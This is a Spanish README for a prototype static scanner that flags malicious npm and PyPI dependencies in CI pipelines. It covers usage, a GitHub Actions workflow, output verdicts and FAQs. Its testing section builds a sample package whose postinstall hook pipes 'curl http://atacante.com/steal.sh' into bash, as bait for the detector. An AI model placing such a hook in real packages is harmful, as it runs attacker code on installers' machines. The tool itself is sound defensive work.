Guardia de la Cadena de Suministro de CI

Una herramienta de análisis estático para detectar dependencias maliciosas en pipelines de CI/CD antes de que se fusionen en tu base de código.

Autor: Otsmane Ahmed
Estado: Prototipo de Investigación v1.0

Inicio Rápido

# 1. Clonar e instalar
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # En Windows: venv\Scripts\activate
pip install -r requirements.txt

# 2. Escanear un directorio de paquete
python3 main_guard.py /ruta/al/paquete

La herramienta generará un veredicto: SAFE, SUSPICIOUS o BLOCKED.

Ejemplos de Uso

Escaneando un Paquete Antes de la Instalación

Si has descargado un paquete de npm o PyPI y quieres verificar que es seguro:

# Paquete NPM
npm pack paquete-sospechoso
tar -xzf paquete-sospechoso-*.tgz
python3 main_guard.py ./package

# Paquete Python
pip download paquete-no-confiable --no-deps
tar -xzf paquete-no-confiable-*.tar.gz
python3 main_guard.py ./paquete-no-confiable-1.0.0

Escaneando Dependencias Instaladas

Verifica paquetes ya instalados en tu proyecto:

# Escanear todos los paquetes npm
python3 main_guard.py ./node_modules

# Escanear un paquete Python específico
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

Nota: Escanear directorios grandes como node_modules tomará más tiempo. Para obtener resultados más rápidos, escanea paquetes individuales.

Integración con CI/CD

Ejemplo de flujo de trabajo de GitHub Actions:

name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../tu-directorio-del-proyecto

El pipeline fallará (código de salida 1) si se detecta código malicioso.

Entendiendo la Salida

Paquete Seguro

$ python3 main_guard.py ./paquete-limpio

Escaneando objetivo: ./paquete-limpio
Ejecutando análisis estático...
Puntuación de Riesgo Estático: 0/100
Veredicto: SAFE

No se detectaron patrones maliciosos.

Paquete Bloqueado

$ python3 main_guard.py ./paquete-malvado

Escaneando objetivo: ./paquete-malvado
Ejecutando análisis estático...
Puntuación de Riesgo Estático: 18/100
Veredicto: BLOCKED (Riesgo Crítico)

Se detectaron patrones peligrosos (por ejemplo, inyección de shell, robo de credenciales). No instales este paquete.

Los paquetes con una puntuación de 10 o más se bloquean automáticamente.

Paquete Sospechoso

$ python3 main_guard.py ./paquete-sospechoso

Escaneando objetivo: ./paquete-sospechoso
Ejecutando análisis estático...
Puntuación de Riesgo Estático: 6/100
Veredicto: SUSPICIOUS (Puntuación 6). Iniciando sandbox...

Se encontraron algunos patrones preocupantes. Si Docker se está ejecutando, el paquete se probará en un sandbox aislado para su verificación. Se recomienda una revisión manual.

Capacidades de Detección

Probando la Herramienta

Puedes probar CI-Guard creando un paquete malicioso de ejemplo:

# Crear directorio de prueba
mkdir ~/test-malicioso
cd ~/test-malicioso

# Crear package.json con hook postinstall malicioso
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://atacante.com/steal.sh | bash"
  }
}
EOF

# Escanearlo
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicioso

Salida esperada:

Puntuación de Riesgo Estático: 18/100
Veredicto: BLOCKED (Riesgo Crítico)

Rendimiento

Tiempo promedio de escaneo: 1-3 segundos por paquete (solo análisis estático)

Preguntas Frecuentes

¿Puedo escanear paquetes que ya están instalados?

Sí. Apunta CI-Guard a tu directorio node_modules o a site-packages de Python:

python3 main_guard.py ./node_modules/algún-paquete
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

¿Qué pasa si un paquete legítimo es marcado?

CI-Guard prefiere pecar de cauteloso. Si confías en un paquete marcado:

1. Revisa las reglas de detección en analyzer/static_scanner.py
2. Identifica qué patrón activó la alerta
3. Revisa manualmente el código fuente del paquete

¿Funciona en Windows y macOS?

Sí. Python y Docker son multiplataforma.

¿Necesito tener Docker instalado?

Docker solo es necesario para paquetes que puntúan entre 4 y 9 (sospechosos). La mayoría de los paquetes están claramente seguros (0-3) o claramente maliciosos (10+).

Requisitos

• Python 3.10+
• Docker (opcional, para verificación en sandbox)
• SO compatible: Linux, macOS, Windows

Cómo Funciona

CI-Guard utiliza un sistema de "Semáforo" de tres niveles:

• Verde (0-3): Seguro - no se detectaron patrones maliciosos
• Amarillo (4-9): Sospechoso - requiere verificación en sandbox
• Rojo (10+): Bloqueado - se encontraron patrones maliciosos críticos

Métodos de detección:

• Análisis Estático: Coincidencia de patrones usando expresiones regulares y AST (Árbol de Sintaxis Abstracta)
• Análisis de Alcance: Filtra falsos positivos de código muerto
• Sandbox: Contenedor Docker opcional con honeytokens para detectar evasión

Contribuir

Las solicitudes de extracción (pull requests) son bienvenidas. Para agregar una nueva regla de detección:

Edita analyzer/static_scanner.py y agrega a la lista RULES:

{
    "id": "SA-XXX",
    "name": "Nombre de la Regla",
    "pattern": r"regex_pattern",
    "weight": 8  # Contribución a la puntuación (1-10)
}

Licencia

Licencia MIT - consulta el archivo LICENSE para más detalles.

Contacto

Otsmane Ahmed - GitHub